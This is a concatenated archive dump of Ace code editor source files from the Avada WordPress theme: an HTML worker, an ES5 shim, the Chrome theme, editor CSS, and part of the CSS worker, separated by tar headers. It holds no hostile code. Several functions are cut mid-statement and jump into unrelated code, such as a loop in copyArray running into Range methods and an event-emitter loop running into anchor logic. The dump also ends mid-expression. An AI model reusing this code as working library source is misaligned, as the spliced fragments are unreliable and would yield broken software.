var SAXParser = require("./html/saxparser").SAXParser; var errorTypes = { "expected-doctype-but-got-start-tag": "info", "expected-doctype-but-got-chars": "info", "non-html-root": "info" } var Worker = exports.Worker = function(sender) { Mirror.call(this, sender); this.setTimeout(400); this.context = null; }; oop.inherits(Worker, Mirror); (function() { this.setOptions = function(options) { this.context = options.context; }; this.onUpdate = function() { var value = this.doc.getValue(); if (!value) return; var parser = new SAXParser(); var errors = []; var noop = function(){}; parser.contentHandler = { startDocument: noop, endDocument: noop, startElement: noop, endElement: noop, characters: noop }; parser.errorHandler = { error: function(message, location, code) { errors.push({ row: location.line, column: location.column, text: message, type: errorTypes[code] || "error" }); } }; if (this.context) parser.parseFragment(value, this.context); else parser.parse(value); this.sender.emit("error", errors); }; }).call(Worker.prototype); }); ace.define("ace/lib/es5-shim",["require","exports","module"], function(require, exports, module) { function Empty() {} if (!Function.prototype.bind) { Function.prototype.bind = function bind(that) { // .length is 1 var target = this; if (typeof target != "function") { throw new TypeError("Function.prototype.bind called on incompatible " + target); } var args = slice.call(arguments, 1); // for normal call var bound = function () { if (this instanceof bound) { var result = target.apply( this, args.concat(slice.call(arguments)) ); if (Object(result) === result) { return result; } return this; } else { return target.apply( that, args.concat(slice.call(arguments)) ); } }; if(target.prototype) { Empty.prototype = target.prototype; bound.prototype = new Empty(); Empty.prototype = null; } return bound; }; } var call = Function.prototype.call; var prototypeOfArray = Array.prototype; var prototypeOfObject = Object.prototype; var slice = prototypeOfArray.slice; var _toString = call.bind(prototypeOfObject.toString); var owns = call.bind(prototypeOfObject.hasOwnProperty); var defineGetter; var defineSetter; var lookupGetter; var lookupSetter; var supportsAccessors; if ((supportsAccessors = owns(prototypeOfObject, "__defineGetter__"))) { defineGetter = call.bind(prototypeOfObject.__defineGetter__); defineSetter = call.bind(prototypeOfObject.__defineSetter__); lookupGetter = call.bind(prototypeOfObject.__lookupGetter__); lookupSetter = call.bind(prototypeOfObject.__lookupSetter__); } if ([1,2].splice(0).length != 2) { if(function() { // test IE < 9 to splice bug - see issue #138 function makeArray(l) { var a = new Array(l+2); a[0] = a[1] = 0; return a; } var array = [], lengthBefore; array.splice.apply(array, makeArray(20)); array.splice.apply(array, makeArray(26)); lengthBefore = array.length; //46 array.splice(5, 0, "XXX"); // add one element lengthBefore + 1 == array.length if (lengthBefore + 1 == array.length) { return true;// has right splice implementation without bugs } }()) {//IE 6/7 var array_splice = Array.prototype.splice; Array.prototype.splice = function(start, deleteCount) { if (!arguments.length) { return []; } else { return array_splice.apply(this, [ start === void 0 ? 0 : start, deleteCount === void 0 ? (this.length - start) : deleteCount ].concat(slice.call(arguments, 2))) } }; } else {//IE8 Array.prototype.splice = function(pos, removeCount){ var length = this.length; if (pos > 0) { if (pos > length) pos = length; } else if (pos == void 0) { pos = 0; } else if (pos < 0) { pos = Math.max(length + pos, 0); } if (!(pos+removeCount < length)) removeCount = length - pos; var removed = this.slice(pos, pos+removeCount); var insert = slice.call(arguments, 2); var add = insert.length; if (pos === length) { if (add) { this.push.apply(this, insert); } } else { var remove = Math.min(removeCount, length - pos); var tailOldPos = pos + remove; var tailNewPos = tailOldPos + add - remove; var tailCount = length - tailOldPos; var lengthAfterRemove = length - remove; if (tailNewPos < tailOldPos) { // case A for (var i = 0; i < tailCount; ++i) { this[tailNewPos+i] = this[tailOldPos+i]; } } else if (tailNewPos > tailOldPos) { // case B for (i = tailCount; i--; ) { this[tailNewPos+i] = this[tailOldPos+i]; } } // else, add == remove (nothing to do) if (add && pos === lengthAfterRemove) { this.length = lengthAfterRemove; // truncate array this.push.apply(this, insert); } else { this.length = lengthAfterRemove + add; // reserves space for (i = 0; i < add; ++i) { this[pos+i] = insert[i]; } } } return removed; }; } } if (!Array.isArray) { Array.isArray = function isArray(obj) { return _toString(obj) == "[object Array]"; }; } var boxedString = Object("a"), splitString = boxedString[0] != "a" || !(0 in boxedString); if (!Array.prototype.forEach) { Array.prototype.forEach = function forEach(fun /*, thisp*/) { var object = toObject(this), self = splitString && _toString(this) == "[object String]" ? this.split("") : object, thisp = arguments[1], i = -1, length = self.length >>> 0; if (_toString(fun) != "[object Function]") { throw new TypeError(); // TODO message } while (++i < length) { if (i in self) { fun.call(thisp, self[i], i, object); } } }; } if (!Array.prototype.map) { Array.prototype.map = function map(fun /*, thisp*/) { var object = toObject(this), self = splitString && _toString(this) == "[object String]" ? this.split("") : object, length = self.length >>> 0, result = Array(length), thisp = arguments[1]; if (_toString(fun) != "[object Function]") { throw new TypeError(fun + " is not a function"); } for (var i = 0; i < length; i++) { if (i in self) result[i] = fun.call(thisp, self[i], i, object); } return result; }; } if (!Array.prototype.filter) { Array.prototype.filter = function filter(fun /*, thisp */) { var object = toObject(this), self = splitString && _toString(this) == "[object String]" ? this.split("") : object, length = self.length >>> 0, result = [], value, thisp = arguments[1]; if (_toString(fun) != "[object Function]") { throw new TypeError(fun + " is not a function"); } for (var i = 0; i < length; i++) { if (i in self) { value = self[i]; if (fun.call(thisp, value, i, object)) { result.push(value); } } } return result; }; } if (!Array.prototype.every) { Array.prototype.every = function every(fun /*, thisp */) { var object = toObject(this), self = splitString && _toString(this) == "[object String]" ? this.split("") : object, length = self.length >>> 0, thisp = arguments[1]; if (_toString(fun) != "[object Function]") { throw new TypeError(fun + " is not a function"); } for (var i = 0; i < length; i++) { if (i in self && !fun.call(thisp, self[i], i, object)) { return false; } } return true; }; } if (!Array.prototype.some) { Array.prototype.some = function some(fun /*, thisp */) { var object = toObject(this), self = splitString && _toString(this) == "[object String]" ? this.split("") : object, length = self.length >>> 0, thisp = arguments[1]; if (_toString(fun) != "[object Function]") { throw new TypeError(fun + " is not a function"); } for (var i = 0; i < length; i++) { if (i in self && fun.call(thisp, self[i], i, object)) { return true; } } return false; }; } if (!Array.prototype.reduce) { Array.prototype.reduce = function reduce(fun /*, initial*/) { var object = toObject(this), self = splitString && _toString(this) == "[object String]" ? this.split("") : object, length = self.length >>> 0; if (_toString(fun) != "[object Function]") { throw new TypeError(fun + " is not a function"); } if (!length && arguments.length == 1) { throw new TypeError("reduce of empty array with no initial value"); } var i = 0; var result; if (arguments.length >= 2) { result = arguments[1]; } else { do { if (i in self) { result = self[i++]; break; } if (++i >= length) { throw new TypeError("reduce of empty array with no initial value"); } } while (true); } for (; i < length; i++) { if (i in self) { result = fun.call(void 0, result, self[i], i, object); } } return result; }; } if (!Array.prototype.reduceRight) { Array.prototype.reduceRight = function reduceRight(fun /*, initial*/) { var object = toObject(this), self = splitString && _toString(this) == "[object String]" ? this.split("") : object, length = self.length >>> 0; if (_toString(fun) != "[object Function]") { throw new TypeError(fun + " is not a function"); } if (!length && arguments.length == 1) { throw new TypeError("reduceRight of empty array with no initial value"); } var result, i = length - 1; if (arguments.length >= 2) { result = arguments[1]; } else { do { if (i in self) { result = self[i--]; break; } if (--i < 0) { throw new TypeError("reduceRight of empty array with no initial value"); } } while (true); } do { if (i in this) { result = fun.call(void 0, result, self[i], i, object); } } while (i--); return result; }; } if (!Array.prototype.indexOf || ([0, 1].indexOf(1, 2) != -1)) { Array.prototype.indexOf = function indexOf(sought /*, fromIndex */ ) { var self = splitString && _toString(this) == "[object String]" ? this.split("") : toObject(this), length = self.length >>> 0; if (!length) { return -1; } var i = 0; if (arguments.length > 1) { i = toInteger(arguments[1]); } i = i >= 0 ? i : Math.max(0, length + i); for (; i < length; i++) { if (i in self && self[i] === sought) { return i; } } return -1; }; } if (!Array.prototype.lastIndexOf || ([0, 1].lastIndexOf(0, -3) != -1)) { Array.prototype.lastIndexOf = function lastIndexOf(sought /*, fromIndex */) { var self = splitString && _toString(this) == "[object String]" ? this.split("") : toObject(this), length = self.length >>> 0; if (!length) { return -1; } var i = length - 1; if (arguments.length > 1) { i = Math.min(i, toInteger(arguments[1])); } i = i >= 0 ? i : length - Math.abs(i); for (; i >= 0; i--) { if (i in self && sought === self[i]) { return i; } } return -1; }; } if (!Object.getPrototypeOf) { Object.getPrototypeOf = function getPrototypeOf(object) { return object.__proto__ || ( object.constructor ? object.constructor.prototype : prototypeOfObject ); }; } if (!Object.getOwnPropertyDescriptor) { var ERR_NON_OBJECT = "Object.getOwnPropertyDescriptor called on a " + "non-object: "; Object.getOwnPropertyDescriptor = function getOwnPropertyDescriptor(object, property) { if ((typeof object != "object" && typeof object != "function") || object === null) throw new TypeError(ERR_NON_OBJECT + object); if (!owns(object, property)) return; var descriptor, getter, setter; descriptor = { enumerable: true, configurable: true }; if (supportsAccessors) { var prototype = object.__proto__; object.__proto__ = prototypeOfObject; var getter = lookupGetter(object, property); var setter = lookupSetter(object, property); object.__proto__ = prototype; if (getter || setter) { if (getter) descriptor.get = getter; if (setter) descriptor.set = setter; return descriptor; } } descriptor.value = object[property]; return descriptor; }; } if (!Object.getOwnPropertyNames) { Object.getOwnPropertyNames = function getOwnPropertyNames(object) { return Object.keys(object); }; } if (!Object.create) { var createEmpty; if (Object.prototype.__proto__ === null) { createEmpty = function () { return { "__proto__": null }; }; } else { createEmpty = function () { var empty = {}; for (var i in empty) empty[i] = null; empty.constructor = empty.hasOwnProperty = empty.propertyIsEnumerable = empty.isPrototypeOf = empty.toLocaleString = empty.toString = empty.valueOf = empty.__proto__ = null; return empty; } } Object.create = function create(prototype, properties) { var object; if (prototype === null) { object = createEmpty(); } else { if (typeof prototype != "object") throw new TypeError("typeof prototype["+(typeof prototype)+"] != 'object'"); var Type = function () {}; Type.prototype = prototype; object = new Type(); object.__proto__ = prototype; } if (properties !== void 0) Object.defineProperties(object, properties); return object; }; } function doesDefinePropertyWork(object) { try { Object.defineProperty(object, "sentinel", {}); return "sentinel" in object; } catch (exception) { } } if (Object.defineProperty) { var definePropertyWorksOnObject = doesDefinePropertyWork({}); var definePropertyWorksOnDom = typeof document == "undefined" || doesDefinePropertyWork(document.createElement("div")); if (!definePropertyWorksOnObject || !definePropertyWorksOnDom) { var definePropertyFallback = Object.defineProperty; } } if (!Object.defineProperty || definePropertyFallback) { var ERR_NON_OBJECT_DESCRIPTOR = "Property description must be an object: "; var ERR_NON_OBJECT_TARGET = "Object.defineProperty called on non-object: " var ERR_ACCESSORS_NOT_SUPPORTED = "getters & setters can not be defined " + "on this javascript engine"; Object.defineProperty = function defineProperty(object, property, descriptor) { if ((typeof object != "object" && typeof object != "function") || object === null) throw new TypeError(ERR_NON_OBJECT_TARGET + object); if ((typeof descriptor != "object" && typeof descriptor != "function") || descriptor === null) throw new TypeError(ERR_NON_OBJECT_DESCRIPTOR + descriptor); if (definePropertyFallback) { try { return definePropertyFallback.call(Object, object, property, descriptor); } catch (exception) { } } if (owns(descriptor, "value")) { if (supportsAccessors && (lookupGetter(object, property) || lookupSetter(object, property))) { var prototype = object.__proto__; object.__proto__ = prototypeOfObject; delete object[property]; object[property] = descriptor.value; object.__proto__ = prototype; } else { object[property] = descriptor.value; } } else { if (!supportsAccessors) throw new TypeError(ERR_ACCESSORS_NOT_SUPPORTED); if (owns(descriptor, "get")) defineGetter(object, property, descriptor.get); if (owns(descriptor, "set")) defineSetter(object, property, descriptor.set); } return object; }; } if (!Object.defineProperties) { Object.defineProperties = function defineProperties(object, properties) { for (var property in properties) { if (owns(properties, property)) Object.defineProperty(object, property, properties[property]); } return object; }; } if (!Object.seal) { Object.seal = function seal(object) { return object; }; } if (!Object.freeze) { Object.freeze = function freeze(object) { return object; }; } try { Object.freeze(function () {}); } catch (exception) { Object.freeze = (function freeze(freezeObject) { return function freeze(object) { if (typeof object == "function") { return object; } else { return freezeObject(object); } }; })(Object.freeze); } if (!Object.preventExtensions) { Object.preventExtensions = function preventExtensions(object) { return object; }; } if (!Object.isSealed) { Object.isSealed = function isSealed(object) { return false; }; } if (!Object.isFrozen) { Object.isFrozen = function isFrozen(object) { return false; }; } if (!Object.isExtensible) { Object.isExtensible = function isExtensible(object) { if (Object(object) === object) { throw new TypeError(); // TODO message } var name = ''; while (owns(object, name)) { name += '?'; } object[name] = true; var returnValue = owns(object, name); delete object[name]; return returnValue; }; } if (!Object.keys) { var hasDontEnumBug = true, dontEnums = [ "toString", "toLocaleString", "valueOf", "hasOwnProperty", "isPrototypeOf", "propertyIsEnumerable", "constructor" ], dontEnumsLength = dontEnums.length; for (var key in {"toString": null}) { hasDontEnumBug = false; } Object.keys = function keys(object) { if ( (typeof object != "object" && typeof object != "function") || object === null ) { throw new TypeError("Object.keys called on a non-object"); } var keys = []; for (var name in object) { if (owns(object, name)) { keys.push(name); } } if (hasDontEnumBug) { for (var i = 0, ii = dontEnumsLength; i < ii; i++) { var dontEnum = dontEnums[i]; if (owns(object, dontEnum)) { keys.push(dontEnum); } } } return keys; }; } if (!Date.now) { Date.now = function now() { return new Date().getTime(); }; } var ws = "\x09\x0A\x0B\x0C\x0D\x20\xA0\u1680\u180E\u2000\u2001\u2002\u2003" + "\u2004\u2005\u2006\u2007\u2008\u2009\u200A\u202F\u205F\u3000\u2028" + "\u2029\uFEFF"; if (!String.prototype.trim || ws.trim()) { ws = "[" + ws + "]"; var trimBeginRegexp = new RegExp("^" + ws + ws + "*"), trimEndRegexp = new RegExp(ws + ws + "*$"); String.prototype.trim = function trim() { return String(this).replace(trimBeginRegexp, "").replace(trimEndRegexp, ""); }; } function toInteger(n) { n = +n; if (n !== n) { // isNaN n = 0; } else if (n !== 0 && n !== (1/0) && n !== -(1/0)) { n = (n > 0 || -1) * Math.floor(Math.abs(n)); } return n; } function isPrimitive(input) { var type = typeof input; return ( input === null || type === "undefined" || type === "boolean" || type === "number" || type === "string" ); } function toPrimitive(input) { var val, valueOf, toString; if (isPrimitive(input)) { return input; } valueOf = input.valueOf; if (typeof valueOf === "function") { val = valueOf.call(input); if (isPrimitive(val)) { return val; } } toString = input.toString; if (typeof toString === "function") { val = toString.call(input); if (isPrimitive(val)) { return val; } } throw new TypeError(); } var toObject = function (o) { if (o == null) { // this matches both null and undefined throw new TypeError("can't convert "+o+" to object"); } return Object(o); }; }); Avada/includes/lib/inc/redux/custom-fields/ace_editor/theme-chrome.js000064400000005734152342437700021643 0ustar00ace.define("ace/theme/chrome",["require","exports","module","ace/lib/dom"], function(require, exports, module) { exports.isDark = false; exports.cssClass = "ace-chrome"; exports.cssText = ".ace-chrome .ace_gutter {\ background: #ebebeb;\ color: #333;\ overflow : hidden;\ }\ .ace-chrome .ace_print-margin {\ width: 1px;\ background: #e8e8e8;\ }\ .ace-chrome {\ background-color: #FFFFFF;\ color: black;\ }\ .ace-chrome .ace_cursor {\ color: black;\ }\ .ace-chrome .ace_invisible {\ color: rgb(191, 191, 191);\ }\ .ace-chrome .ace_constant.ace_buildin {\ color: rgb(88, 72, 246);\ }\ .ace-chrome .ace_constant.ace_language {\ color: rgb(88, 92, 246);\ }\ .ace-chrome .ace_constant.ace_library {\ color: rgb(6, 150, 14);\ }\ .ace-chrome .ace_invalid {\ background-color: rgb(153, 0, 0);\ color: white;\ }\ .ace-chrome .ace_fold {\ }\ .ace-chrome .ace_support.ace_function {\ color: rgb(60, 76, 114);\ }\ .ace-chrome .ace_support.ace_constant {\ color: rgb(6, 150, 14);\ }\ .ace-chrome .ace_support.ace_type,\ .ace-chrome .ace_support.ace_class\ .ace-chrome .ace_support.ace_other {\ color: rgb(109, 121, 222);\ }\ .ace-chrome .ace_variable.ace_parameter {\ font-style:italic;\ color:#FD971F;\ }\ .ace-chrome .ace_keyword.ace_operator {\ color: rgb(104, 118, 135);\ }\ .ace-chrome .ace_comment {\ color: #236e24;\ }\ .ace-chrome .ace_comment.ace_doc {\ color: #236e24;\ }\ .ace-chrome .ace_comment.ace_doc.ace_tag {\ color: #236e24;\ }\ .ace-chrome .ace_constant.ace_numeric {\ color: rgb(0, 0, 205);\ }\ .ace-chrome .ace_variable {\ color: rgb(49, 132, 149);\ }\ .ace-chrome .ace_xml-pe {\ color: rgb(104, 104, 91);\ }\ .ace-chrome .ace_entity.ace_name.ace_function {\ color: #0000A2;\ }\ .ace-chrome .ace_heading {\ color: rgb(12, 7, 255);\ }\ .ace-chrome .ace_list {\ color:rgb(185, 6, 144);\ }\ .ace-chrome .ace_marker-layer .ace_selection {\ background: rgb(181, 213, 255);\ }\ .ace-chrome .ace_marker-layer .ace_step {\ background: rgb(252, 255, 0);\ }\ .ace-chrome .ace_marker-layer .ace_stack {\ background: rgb(164, 229, 101);\ }\ .ace-chrome .ace_marker-layer .ace_bracket {\ margin: -1px 0 0 -1px;\ border: 1px solid rgb(192, 192, 192);\ }\ .ace-chrome .ace_marker-layer .ace_active-line {\ background: rgba(0, 0, 0, 0.07);\ }\ .ace-chrome .ace_gutter-active-line {\ background-color : #dcdcdc;\ }\ .ace-chrome .ace_marker-layer .ace_selected-word {\ background: rgb(250, 250, 255);\ border: 1px solid rgb(200, 200, 250);\ }\ .ace-chrome .ace_storage,\ .ace-chrome .ace_keyword,\ .ace-chrome .ace_meta.ace_tag {\ color: rgb(147, 15, 128);\ }\ .ace-chrome .ace_string.ace_regex {\ color: rgb(255, 0, 0)\ }\ .ace-chrome .ace_string {\ color: #1A1AA6;\ }\ .ace-chrome .ace_entity.ace_other.ace_attribute-name {\ color: #994409;\ }\ .ace-chrome .ace_indent-guide {\ background: url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAACCAYAAACZgbYnAAAAE0lEQVQImWP4////f4bLly//BwAmVgd1/w11/gAAAABJRU5ErkJggg==\") right repeat-y;\ }\ "; var dom = require("../lib/dom"); dom.importCssString(exports.cssText, exports.cssClass); }); Avada/includes/lib/inc/redux/custom-fields/ace_editor/field_ace_editor.css000064400000001045152342437700022672 0ustar00.fusionredux-container-ace_editor .ace-wrapper { position: static } .fusionredux-container-ace_editor .ace_editor { height: 200px; -webkit-border-radius: 3px; -moz-border-radius: 3px; border-radius: 3px } .fusionredux-container-ace_editor .ace_gutter { z-index: 1 !important } .fusionredux-container-ace_editor .ace_search_field { height: 22px !important; } .fusionredux-container-ace_editor .ace_search_form button[action="findAll"] { display: none; } .fusionredux-container-ace_editor .ace_search_options { display: none; } Avada/includes/lib/inc/redux/custom-fields/ace_editor/worker-css.js000064400001104447152342437700021367 0ustar00"no use strict"; ;(function(window) { if (typeof window.window != "undefined" && window.document) return; if (window.require && window.define) return; if (!window.console) { window.console = function() { var msgs = Array.prototype.slice.call(arguments, 0); postMessage({type: "log", data: msgs}); }; window.console.error = window.console.warn = window.console.log = window.console.trace = window.console; } window.window = window; window.ace = window; window.onerror = function(message, file, line, col, err) { postMessage({type: "error", data: { message: message, data: err.data, file: file, line: line, col: col, stack: err.stack }}); }; window.normalizeModule = function(parentId, moduleName) { // normalize plugin requires if (moduleName.indexOf("!") !== -1) { var chunks = moduleName.split("!"); return window.normalizeModule(parentId, chunks[0]) + "!" + window.normalizeModule(parentId, chunks[1]); } // normalize relative requires if (moduleName.charAt(0) == ".") { var base = parentId.split("/").slice(0, -1).join("/"); moduleName = (base ? base + "/" : "") + moduleName; while (moduleName.indexOf(".") !== -1 && previous != moduleName) { var previous = moduleName; moduleName = moduleName.replace(/^\.\//, "").replace(/\/\.\//, "/").replace(/[^\/]+\/\.\.\//, ""); } } return moduleName; }; window.require = function require(parentId, id) { if (!id) { id = parentId; parentId = null; } if (!id.charAt) throw new Error("worker.js require() accepts only (parentId, id) as arguments"); id = window.normalizeModule(parentId, id); var module = window.require.modules[id]; if (module) { if (!module.initialized) { module.initialized = true; module.exports = module.factory().exports; } return module.exports; } if (!window.require.tlns) return console.log("unable to load " + id); var path = resolveModuleId(id, window.require.tlns); if (path.slice(-3) != ".js") path += ".js"; window.require.id = id; window.require.modules[id] = {}; // prevent infinite loop on broken modules importScripts(path); return window.require(parentId, id); }; function resolveModuleId(id, paths) { var testPath = id, tail = ""; while (testPath) { var alias = paths[testPath]; if (typeof alias == "string") { return alias + tail; } else if (alias) { return alias.location.replace(/\/*$/, "/") + (tail || alias.main || alias.name); } else if (alias === false) { return ""; } var i = testPath.lastIndexOf("/"); if (i === -1) break; tail = testPath.substr(i) + tail; testPath = testPath.slice(0, i); } return id; } window.require.modules = {}; window.require.tlns = {}; window.define = function(id, deps, factory) { if (arguments.length == 2) { factory = deps; if (typeof id != "string") { deps = id; id = window.require.id; } } else if (arguments.length == 1) { factory = id; deps = []; id = window.require.id; } if (typeof factory != "function") { window.require.modules[id] = { exports: factory, initialized: true }; return; } if (!deps.length) // If there is no dependencies, we inject "require", "exports" and // "module" as dependencies, to provide CommonJS compatibility. deps = ["require", "exports", "module"]; var req = function(childId) { return window.require(id, childId); }; window.require.modules[id] = { exports: {}, factory: function() { var module = this; var returnExports = factory.apply(this, deps.map(function(dep) { switch (dep) { // Because "require", "exports" and "module" aren't actual // dependencies, we must handle them seperately. case "require": return req; case "exports": return module.exports; case "module": return module; // But for all other dependencies, we can just go ahead and // require them. default: return req(dep); } })); if (returnExports) module.exports = returnExports; return module; } }; }; window.define.amd = {}; require.tlns = {}; window.initBaseUrls = function initBaseUrls(topLevelNamespaces) { for (var i in topLevelNamespaces) require.tlns[i] = topLevelNamespaces[i]; }; window.initSender = function initSender() { var EventEmitter = window.require("ace/lib/event_emitter").EventEmitter; var oop = window.require("ace/lib/oop"); var Sender = function() {}; (function() { oop.implement(this, EventEmitter); this.callback = function(data, callbackId) { postMessage({ type: "call", id: callbackId, data: data }); }; this.emit = function(name, data) { postMessage({ type: "event", name: name, data: data }); }; }).call(Sender.prototype); return new Sender(); }; var main = window.main = null; var sender = window.sender = null; window.onmessage = function(e) { var msg = e.data; if (msg.event && sender) { sender._signal(msg.event, msg.data); } else if (msg.command) { if (main[msg.command]) main[msg.command].apply(main, msg.args); else if (window[msg.command]) window[msg.command].apply(window, msg.args); else throw new Error("Unknown command:" + msg.command); } else if (msg.init) { window.initBaseUrls(msg.tlns); require("ace/lib/es5-shim"); sender = window.sender = window.initSender(); var clazz = require(msg.module)[msg.classname]; main = window.main = new clazz(sender); } }; })(this); ace.define("ace/lib/oop",["require","exports","module"], function(require, exports, module) { "use strict"; exports.inherits = function(ctor, superCtor) { ctor.super_ = superCtor; ctor.prototype = Object.create(superCtor.prototype, { constructor: { value: ctor, enumerable: false, writable: true, configurable: true } }); }; exports.mixin = function(obj, mixin) { for (var key in mixin) { obj[key] = mixin[key]; } return obj; }; exports.implement = function(proto, mixin) { exports.mixin(proto, mixin); }; }); ace.define("ace/lib/lang",["require","exports","module"], function(require, exports, module) { "use strict"; exports.last = function(a) { return a[a.length - 1]; }; exports.stringReverse = function(string) { return string.split("").reverse().join(""); }; exports.stringRepeat = function (string, count) { var result = ''; while (count > 0) { if (count & 1) result += string; if (count >>= 1) string += string; } return result; }; var trimBeginRegexp = /^\s\s*/; var trimEndRegexp = /\s\s*$/; exports.stringTrimLeft = function (string) { return string.replace(trimBeginRegexp, ''); }; exports.stringTrimRight = function (string) { return string.replace(trimEndRegexp, ''); }; exports.copyObject = function(obj) { var copy = {}; for (var key in obj) { copy[key] = obj[key]; } return copy; }; exports.copyArray = function(array){ var copy = []; for (var i=0, l=array.length; i [" + this.end.row + "/" + this.end.column + "]"); }; this.contains = function(row, column) { return this.compare(row, column) == 0; }; this.compareRange = function(range) { var cmp, end = range.end, start = range.start; cmp = this.compare(end.row, end.column); if (cmp == 1) { cmp = this.compare(start.row, start.column); if (cmp == 1) { return 2; } else if (cmp == 0) { return 1; } else { return 0; } } else if (cmp == -1) { return -2; } else { cmp = this.compare(start.row, start.column); if (cmp == -1) { return -1; } else if (cmp == 1) { return 42; } else { return 0; } } }; this.comparePoint = function(p) { return this.compare(p.row, p.column); }; this.containsRange = function(range) { return this.comparePoint(range.start) == 0 && this.comparePoint(range.end) == 0; }; this.intersects = function(range) { var cmp = this.compareRange(range); return (cmp == -1 || cmp == 0 || cmp == 1); }; this.isEnd = function(row, column) { return this.end.row == row && this.end.column == column; }; this.isStart = function(row, column) { return this.start.row == row && this.start.column == column; }; this.setStart = function(row, column) { if (typeof row == "object") { this.start.column = row.column; this.start.row = row.row; } else { this.start.row = row; this.start.column = column; } }; this.setEnd = function(row, column) { if (typeof row == "object") { this.end.column = row.column; this.end.row = row.row; } else { this.end.row = row; this.end.column = column; } }; this.inside = function(row, column) { if (this.compare(row, column) == 0) { if (this.isEnd(row, column) || this.isStart(row, column)) { return false; } else { return true; } } return false; }; this.insideStart = function(row, column) { if (this.compare(row, column) == 0) { if (this.isEnd(row, column)) { return false; } else { return true; } } return false; }; this.insideEnd = function(row, column) { if (this.compare(row, column) == 0) { if (this.isStart(row, column)) { return false; } else { return true; } } return false; }; this.compare = function(row, column) { if (!this.isMultiLine()) { if (row === this.start.row) { return column < this.start.column ? -1 : (column > this.end.column ? 1 : 0); } } if (row < this.start.row) return -1; if (row > this.end.row) return 1; if (this.start.row === row) return column >= this.start.column ? 0 : -1; if (this.end.row === row) return column <= this.end.column ? 0 : 1; return 0; }; this.compareStart = function(row, column) { if (this.start.row == row && this.start.column == column) { return -1; } else { return this.compare(row, column); } }; this.compareEnd = function(row, column) { if (this.end.row == row && this.end.column == column) { return 1; } else { return this.compare(row, column); } }; this.compareInside = function(row, column) { if (this.end.row == row && this.end.column == column) { return 1; } else if (this.start.row == row && this.start.column == column) { return -1; } else { return this.compare(row, column); } }; this.clipRows = function(firstRow, lastRow) { if (this.end.row > lastRow) var end = {row: lastRow + 1, column: 0}; else if (this.end.row < firstRow) var end = {row: firstRow, column: 0}; if (this.start.row > lastRow) var start = {row: lastRow + 1, column: 0}; else if (this.start.row < firstRow) var start = {row: firstRow, column: 0}; return Range.fromPoints(start || this.start, end || this.end); }; this.extend = function(row, column) { var cmp = this.compare(row, column); if (cmp == 0) return this; else if (cmp == -1) var start = {row: row, column: column}; else var end = {row: row, column: column}; return Range.fromPoints(start || this.start, end || this.end); }; this.isEmpty = function() { return (this.start.row === this.end.row && this.start.column === this.end.column); }; this.isMultiLine = function() { return (this.start.row !== this.end.row); }; this.clone = function() { return Range.fromPoints(this.start, this.end); }; this.collapseRows = function() { if (this.end.column == 0) return new Range(this.start.row, 0, Math.max(this.start.row, this.end.row-1), 0) else return new Range(this.start.row, 0, this.end.row, 0) }; this.toScreenRange = function(session) { var screenPosStart = session.documentToScreenPosition(this.start); var screenPosEnd = session.documentToScreenPosition(this.end); return new Range( screenPosStart.row, screenPosStart.column, screenPosEnd.row, screenPosEnd.column ); }; this.moveBy = function(row, column) { this.start.row += row; this.start.column += column; this.end.row += row; this.end.column += column; }; }).call(Range.prototype); Range.fromPoints = function(start, end) { return new Range(start.row, start.column, end.row, end.column); }; Range.comparePoints = comparePoints; Range.comparePoints = function(p1, p2) { return p1.row - p2.row || p1.column - p2.column; }; exports.Range = Range; }); ace.define("ace/apply_delta",["require","exports","module"], function(require, exports, module) { "use strict"; function throwDeltaError(delta, errorText){ console.log("Invalid Delta:", delta); throw "Invalid Delta: " + errorText; } function positionInDocument(docLines, position) { return position.row >= 0 && position.row < docLines.length && position.column >= 0 && position.column <= docLines[position.row].length; } function validateDelta(docLines, delta) { if (delta.action != "insert" && delta.action != "remove") throwDeltaError(delta, "delta.action must be 'insert' or 'remove'"); if (!(delta.lines instanceof Array)) throwDeltaError(delta, "delta.lines must be an Array"); if (!delta.start || !delta.end) throwDeltaError(delta, "delta.start/end must be an present"); var start = delta.start; if (!positionInDocument(docLines, delta.start)) throwDeltaError(delta, "delta.start must be contained in document"); var end = delta.end; if (delta.action == "remove" && !positionInDocument(docLines, end)) throwDeltaError(delta, "delta.end must contained in document for 'remove' actions"); var numRangeRows = end.row - start.row; var numRangeLastLineChars = (end.column - (numRangeRows == 0 ? start.column : 0)); if (numRangeRows != delta.lines.length - 1 || delta.lines[numRangeRows].length != numRangeLastLineChars) throwDeltaError(delta, "delta.range must match delta lines"); } exports.applyDelta = function(docLines, delta, doNotValidate) { var row = delta.start.row; var startColumn = delta.start.column; var line = docLines[row] || ""; switch (delta.action) { case "insert": var lines = delta.lines; if (lines.length === 1) { docLines[row] = line.substring(0, startColumn) + delta.lines[0] + line.substring(startColumn); } else { var args = [row, 1].concat(delta.lines); docLines.splice.apply(docLines, args); docLines[row] = line.substring(0, startColumn) + docLines[row]; docLines[row + delta.lines.length - 1] += line.substring(startColumn); } break; case "remove": var endColumn = delta.end.column; var endRow = delta.end.row; if (row === endRow) { docLines[row] = line.substring(0, startColumn) + line.substring(endColumn); } else { docLines.splice( row, endRow - row + 1, line.substring(0, startColumn) + docLines[endRow].substring(endColumn) ); } break; } } }); ace.define("ace/lib/event_emitter",["require","exports","module"], function(require, exports, module) { "use strict"; var EventEmitter = {}; var stopPropagation = function() { this.propagationStopped = true; }; var preventDefault = function() { this.defaultPrevented = true; }; EventEmitter._emit = EventEmitter._dispatchEvent = function(eventName, e) { this._eventRegistry || (this._eventRegistry = {}); this._defaultHandlers || (this._defaultHandlers = {}); var listeners = this._eventRegistry[eventName] || []; var defaultHandler = this._defaultHandlers[eventName]; if (!listeners.length && !defaultHandler) return; if (typeof e != "object" || !e) e = {}; if (!e.type) e.type = eventName; if (!e.stopPropagation) e.stopPropagation = stopPropagation; if (!e.preventDefault) e.preventDefault = preventDefault; listeners = listeners.slice(); for (var i=0; i this.row) return; var point = $getTransformedPoint(delta, {row: this.row, column: this.column}, this.$insertRight); this.setPosition(point.row, point.column, true); }; function $pointsInOrder(point1, point2, equalPointsInOrder) { var bColIsAfter = equalPointsInOrder ? point1.column <= point2.column : point1.column < point2.column; return (point1.row < point2.row) || (point1.row == point2.row && bColIsAfter); } function $getTransformedPoint(delta, point, moveIfEqual) { var deltaIsInsert = delta.action == "insert"; var deltaRowShift = (deltaIsInsert ? 1 : -1) * (delta.end.row - delta.start.row); var deltaColShift = (deltaIsInsert ? 1 : -1) * (delta.end.column - delta.start.column); var deltaStart = delta.start; var deltaEnd = deltaIsInsert ? deltaStart : 